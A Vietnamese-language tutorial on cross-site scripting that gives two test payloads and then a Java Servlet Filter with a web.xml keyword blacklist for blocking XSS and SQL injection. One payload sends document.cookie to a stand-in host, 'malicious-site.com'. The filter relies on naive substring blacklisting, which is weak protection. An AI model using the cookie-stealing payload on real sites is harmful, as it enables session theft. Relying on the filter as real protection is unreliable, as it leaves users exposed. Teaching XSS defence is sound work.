Tổng Quan Về Lỗ Hổng XSS
XSS (Cross-Site Scripting) là một lỗ hổng bảo mật nghiêm trọng thường gặp trong các ứng dụng web. Lỗ hổng này cho phép kẻ tấn công chèn các mã script độc hại vào nội dung trang web, sau đó được thực thi trên trình duyệt của người dùng khác. Tên gọi XSS được sử dụng nhằm phân biệt với CSS (Cascading Style Sheets).
Phương Pháp Kiểm Thử Tính Dễ Bị Tổn Thương
Để đánh giá mức độ an toàn của hệ thống, các kỹ sư bảo mật thường thử nghiệm bằng cách注入 các đoạn mã script vào các trường nhập liệu. Dưới đây là một số ví dụ về payload có thể sử dụng để kiểm tra phản ứng của ứng dụng:
// Nhập vào các form input để kiểm tra
"/> <script>alert(document.cookie);</script><!--
"/><script>window.location="http://malicious-site.com/steal?c="+document.cookie</script><!--
Giải Pháp Phòng Chống Sử Dụng Servlet Filter
Một trong những phương pháp hiệu quả để giảm thiểu rủi ro XSS và SQL Injection là triển khai một Servlet Filter. Bộ lọc này sẽ kiểm tra toàn bộ dữ liệu đầu vào (input) trước khi chuyển đến bộ xử lý nghiệp vụ, ngăn chặn các request chứa ký tự hoặc từ khóa nguy hiểm.
Cấu Hình Trong web.xml
Cần đăng ký Filter vào luồng xử lý request và định nghĩa các tham số cấu hình cho danh sách bỏ qua (whitelist) và danh sách chặn (blacklist):
<filter>
<filter-name>requestSecurityFilter</filter-name>
<filter-class>com.security.filter.RequestSecurityFilter</filter-class>
<init-param>
<param-name>whiteListParams</param-name>
<param-value>csrfToken;sessionId;authKey;rememberMe</param-value>
</init-param>
<init-param>
<param-name>blackListKeywords</param-name>
<param-value>script;iframe;object;embed;onclick;onerror;select;insert;update;delete;union;</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>requestSecurityFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
Triển Khai Logic Lớp Filter
Lớp Filter sẽ đọc các tham số cấu hình khi khởi tạo, lưu trữ vào cấu trúc dữ liệu phù hợp để tối ưu hiệu suất kiểm tra. Trong quá trình xử lý request, nếu phát hiện tham số chứa nội dung độc hại, hệ thống sẽ chặn và chuyển hướng đến trang thông báo lỗi.
public class RequestSecurityFilter implements Filter {
private static final Logger logger = LoggerFactory.getLogger(RequestSecurityFilter.class);
private Set<String> whiteListParams = new HashSet<>();
private Set<String> blackListKeywords = new HashSet<>();
@Override
public void init(FilterConfig config) throws ServletException {
// Khởi tạo danh sách tham số bỏ qua kiểm tra
String ignoreConfig = config.getInitParameter("whiteListParams");
if (ignoreConfig != null && !ignoreConfig.isEmpty()) {
Collections.addAll(whiteListParams, ignoreConfig.trim().split(";"));
}
// Khởi tạo danh sách từ khóa cấm
String blockConfig = config.getInitParameter("blackListKeywords");
if (blockConfig != null && !blockConfig.isEmpty()) {
Collections.addAll(blackListKeywords, blockConfig.trim().split(";"));
}
// Bổ sung các ký tự đặc biệt thường gặp trong tấn công
blackListKeywords.add("<");
blackListKeywords.add(">");
}
@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain)
throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) res;
Enumeration<String> paramNames = request.getParameterNames();
while (paramNames.hasMoreElements()) {
String paramName = paramNames.nextElement();
// Không kiểm tra các tham số nằm trong danh sách trắng
if (whiteListParams.contains(paramName)) {
continue;
}
String paramValue = request.getParameter(paramName);
// Kiểm tra nội dung tham số
if (isMaliciousContent(paramValue)) {
logger.warn("Phát hiện yêu cầu không an toàn tại: " + request.getRequestURI());
request.setAttribute("securityError", "INVALID_INPUT_DETECTED");
request.getRequestDispatcher("/WEB-INF/views/error_security.jsp").forward(request, response);
return;
}
}
chain.doFilter(request, response);
}
@Override
public void destroy() {
whiteListParams.clear();
blackListKeywords.clear();
}
// Phương thức kiểm tra sự tồn tại của nội dung độc hại
private boolean isMaliciousContent(String input) {
if (input == null || input.trim().isEmpty()) {
return false;
}
String lowerInput = input.toLowerCase();
for (String keyword : blackListKeywords) {
if (lowerInput.contains(keyword.toLowerCase())) {
return true;
}
}
return false;
}
}